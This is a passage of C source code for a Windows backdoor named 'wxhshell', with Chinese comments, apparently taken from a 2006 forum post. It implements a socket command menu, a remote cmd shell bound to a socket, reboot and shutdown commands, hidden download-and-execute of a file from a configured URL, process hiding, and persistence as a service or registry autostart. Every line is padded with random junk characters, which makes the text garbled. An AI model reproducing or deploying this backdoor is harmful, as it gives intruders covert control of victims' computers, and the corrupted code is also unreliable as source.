  else { Z:}2F^6  
]2u7?l  
    switch(cmd[0]) { =#PudF.\  
  a*e|>pDO  
  // 帮助 $[L)f| l  
  case '?': { QvyUd%e'5A  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {BwN4r46  
    break; :;#c:RKi:  
  } y D=)&->Ra  
  // 安装 +LU).  
  case 'i': { 1dXO3hot  
    if(Install())  T!O3(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); NEjB jLJZ  
    else QRn:=J%W W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^{:[^$f:l  
    break; s^x , S  
    } <jg wdbT"6  
  // 卸载 jAK`96+D~b  
  case 'r': { \)s 3]/"7  
    if(Uninstall()) r]K0 ]h@B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9EY_R&Yq%  
    else >LRaIU>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); `;8u9Ff  
    break; pQ6t]DJ4  
    } U7Sl@-#|  
  // 显示 wxhshell 所在路径 %.r5E2'  
  case 'p': { itvy[b-*  
    char svExeFile[MAX_PATH]; kk>0XPk  
    strcpy(svExeFile,"\n\r"); M KE[Yb?  
      strcat(svExeFile,ExeFile); <=LsloI  
        send(wsh,svExeFile,strlen(svExeFile),0); sC'A_-'  
    break; ,YuWz$aF{  
    } +HVG5l  
  // 重启 {Rh+]=7  
  case 'b': { [~rk`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1OJD\wc  
    if(Boot(REBOOT)) ok W)s*7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ~wQ WWRk  
    else { bB[*\  
    closesocket(wsh); }j5@\c48  
    ExitThread(0); I(r5\A=   
    } ~(L<uFU V  
    break; ZYp-dlEXq  
    } :/?R9JVI  
  // 关机 {  /Q?  
  case 'd': { Y$DgL h  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *1 eTf  
    if(Boot(SHUTDOWN)) zz''FmedF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x[h<3V"  
    else { 5;uX"z G  
    closesocket(wsh); )SZ,J-H08w  
    ExitThread(0); 5=;I|l,  
    } `J;/=tf09  
    break; d%|#m)  
    } !D]6Cq  
  // 获取shell d3q/mg5a  
  case 's': { c^/?VmCQ}  
    CmdShell(wsh); nV6g]#~ @  
    closesocket(wsh); g960;waz3  
    ExitThread(0); ;|e 0{Jrz  
    break; I<o4l[--  
  } ~+NFWNgN  
  // 退出 X2mm'J DwK  
  case 'x': { .J! $,O@  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); Q $,kB<M  
    CloseIt(wsh); OCoRcrAx  
    break; ?&bVe__  
    } EYj2h .k  
  // 离开 %QcG^R  
  case 'q': { g 0_r  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \< +47+  
    closesocket(wsh); pHbguoH,  
    WSACleanup(); Q,+*u%/u  
    exit(1); Gt *<?  
    break; ,'0oj$~S:  
        } Yoym5<xE  
  } T;e(Q,!H  
  } V$]a&wM<5  
(~yJce  
  // 提示信息 Bd]DhPhJ  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); C=f(NpyD6  
} %b'VEd7  
  } wUPywV1UO  
WYd,tGz  
  return; `e69kBAm  
} MrjB[3Td  
kj"_Y"q=  
// shell模块句柄 WX$^[^=HC  
int CmdShell(SOCKET sock) rMFf8D(Y  
{ (N>ew)Ke  
STARTUPINFO si; CX2q7azG  
ZeroMemory(&si,sizeof(si)); a[9OtZX<  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; uS10P7N}  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9>Z#o<*_/  
PROCESS_INFORMATION ProcessInfo; iPL'JVPZ  
char cmdline[]="cmd"; K%#C+`Ij  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); &wC.?w$  
  return 0; %LaC$w_X  
} dK`O,[}  
?26[%%  
// 自身启动模式 3cQmxp2*  
int StartFromService(void) G U/k^ Qy  
{ NjMLq|X  
typedef struct H[yLl v  
{ #6Ph"\G/  
  DWORD ExitStatus; 8*){*'bf  
  DWORD PebBaseAddress; CU M~*  
  DWORD AffinityMask; 1;9E*=  
  DWORD BasePriority; uy%PTi+A  
  ULONG UniqueProcessId; -5B([jHgR  
  ULONG InheritedFromUniqueProcessId; F4l6PGxF&\  
}   PROCESS_BASIC_INFORMATION; QU;C*}0Zl  
K&oO+G^f  
PROCNTQSIP NtQueryInformationProcess; {.)~4.LhQM  
T1TZ+ \  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~}l,H:jk@  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; G#M]\)f%  
VL1z$<vVXt  
  HANDLE             hProcess; @"5u~o')@v  
  PROCESS_BASIC_INFORMATION pbi; WYUU-  
s8O+&^(U  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); WkmS   
  if(NULL == hInst ) return 0; ,;& PKY  
90I3_[Ii  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); yU lQPrNX  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t`D@bzLC%  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); f}uCiV!?v  
Bnc  
  if (!NtQueryInformationProcess) return 0; tHo/uW_~I  
c8W=Is`  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;]ew>P)  
  if(!hProcess) return 0; FCAu%lvZT  
4r!40^:2  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; FNO lR>0e  
Vp94mi#L }  
  CloseHandle(hProcess); 1T`"/*!  
=l_"M  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 'hWRwP|  
if(hProcess==NULL) return 0; tq93 2M4  
>U.uRq  
HMODULE hMod; 8#AXK{  
char procName[255]; t:n|0G(  
unsigned long cbNeeded; OOwJ3I >]>  
q+Q)IVaU81  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Q&;qFv5-l  
Q:=/d$*xd  
  CloseHandle(hProcess); k9?+9bExXA  
/PS]AM  
if(strstr(procName,"services")) return 1; // 以服务启动 sP8B?Tn1W  
^9E(8DD  
  return 0; // 注册表启动 Un+Jz ?Y  
} (\ %y)  
GT0'bge  
// 主模块 +?'acn  
int StartWxhshell(LPSTR lpCmdLine) ?Fw/c0  
{ \`x'g)z(i  
  SOCKET wsl; a#$%xw  
BOOL val=TRUE; 'IszS!kY  
  int port=0; KfS^sT  
  struct sockaddr_in door; } 4^UVdz  
>{8H==P  
  if(wscfg.ws_autoins) Install(); ~;` #{$/C&  
6dlPS{H#U  
port=atoi(lpCmdLine); zD|W3hL2&  
=jh:0Q<43+  
if(port<=0) port=wscfg.ws_port; upKrr  
#nz$RJsX  
  WSADATA data; $Q4b~  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; RT9@&5>il  
^)I:82"|?  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d_hcv|%  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); p^!p7B`qe.  
  door.sin_family = AF_INET; fba3aId[  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *4E,| IJ  
  door.sin_port = htons(port); o~ed0>D-LS  
"f+2_8%s+  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { \x}UjHYIc&  
closesocket(wsl); GC2<K  
return 1; 6;DPGx  
} &n wg$z{Y  
m+ YgfR  
  if(listen(wsl,2) == INVALID_SOCKET) { 3dLz=.=)'  
closesocket(wsl); v8[1E>&vx  
return 1; gw^+[}U#  
} ~E~J*R Ze  
  Wxhshell(wsl); ^DOcw@Z6HC  
  WSACleanup(); fZC,%p  
Y#,MFEd  
return 0; ,vj^AXU  
/zKuVaC  
} ){~.jP=-#  
1g+<`1=KT  
// 以NT服务方式启动 N0f}q1S<-A  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) m~A/.t%=  
{ t=#)3C`Q}  
DWORD   status = 0; -D(!B56_  
  DWORD   specificError = 0xfffffff; E83nEUs  
Cz%ih#^b  
  serviceStatus.dwServiceType     = SERVICE_WIN32; |Sq>uC)  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; $G[##j2  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; he #iWD'  
  serviceStatus.dwWin32ExitCode     = 0; JZ [&:  
  serviceStatus.dwServiceSpecificExitCode = 0; L`v,:#Y   
  serviceStatus.dwCheckPoint       = 0; q)X&S*-<o~  
  serviceStatus.dwWaitHint       = 0; w93,N+es6  
!/SFEL@_B  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;iVyJZI  
  if (hServiceStatusHandle==0) return; Sz&`=x#  
cA kw5}P   
status = GetLastError(); 4(]k=c1<  
  if (status!=NO_ERROR) @U5o;X!qU  
{ &[uGfm+@  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; =v-D}eJQ=  
    serviceStatus.dwCheckPoint       = 0; q6dq@   
    serviceStatus.dwWaitHint       = 0; h?sh#j6  
    serviceStatus.dwWin32ExitCode     = status; c-F&4V  
    serviceStatus.dwServiceSpecificExitCode = specificError; >8so'7(  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); YuZnuI@m9  
    return; )C[8#Q-:  
  } ]Az >W*Y  
yI)2:Ca*  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; v*pVcBY>  
  serviceStatus.dwCheckPoint       = 0; 9viC3bj.o  
  serviceStatus.dwWaitHint       = 0; 2#!D"F  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 3h&s=e!  
} pFh2@O  
D? ($R9t  
// 处理NT服务事件,比如:启动、停止 R\^tr  
VOID WINAPI NTServiceHandler(DWORD fdwControl) [(XKqiSV  
{ ?(z3/ "g]  
switch(fdwControl) lz>hP  
{ ej~ /sO  
case SERVICE_CONTROL_STOP: #R$!|  
  serviceStatus.dwWin32ExitCode = 0; |8"HTBb\CW  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ofJ@\xS  
  serviceStatus.dwCheckPoint   = 0; J7H1<\=cJb  
  serviceStatus.dwWaitHint     = 0; z3,z&Ra  
  { %PpB$  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %/7`G-a.B  
  } qluyJpt  
  return; @({65gJ*  
case SERVICE_CONTROL_PAUSE: 7K~=QEc  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; SFHa(JOS  
  break; uv$y"1'g  
case SERVICE_CONTROL_CONTINUE: >}iYZ[ V  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 51A>eU|  
  break; GZ"O%: d  
case SERVICE_CONTROL_INTERROGATE: iiu\_ a=0b  
  break; V>hy5hDpH  
}; F9hCT)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); [ 6M8a8C  
} L(L;z'3y  
<_+8c{G  
// 标准应用程序主函数 B N=,>-O%  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) VH/_0  
{ I'";  
&Z?uK,8  
// 获取操作系统版本 OtJS5A  
OsIsNt=GetOsVer(); iMS S8J  
GetModuleFileName(NULL,ExeFile,MAX_PATH); CzgLgh;:T  
0R.@\?bhL  
  // 从命令行安装 +ad 2  
  if(strpbrk(lpCmdLine,"iI")) Install(); 2 IGAZ%%  
plca`  
  // 下载执行文件 4H'9y3dk  
if(wscfg.ws_downexe) { WVVqH_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) MxYCMe4S[  
  WinExec(wscfg.ws_filenam,SW_HIDE); qz 'a.]{=  
} Wl1%BN0>  
2axH8ONMu  
if(!OsIsNt) { W!{uEH{%l  
// 如果时win9x,隐藏进程并且设置为注册表启动 &{>~ |^  
HideProc(); 9T\:ID= h  
StartWxhshell(lpCmdLine); SpkD  
} [mhY_Hmz]  
else -C\m' T,1  
  if(StartFromService()) `O#y%*E  
  // 以服务方式启动 iS"rMgq  
  StartServiceCtrlDispatcher(DispatchTable); x ` $4  
else U7OW)tUf  
  // 普通方式启动 :)+cI?\#  
  StartWxhshell(lpCmdLine); Tsa&R:SE  
9s}--_k?F2  
return 0; h5~tsd}OU  
}
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只看该作者 1 发表于: 2006-10-10
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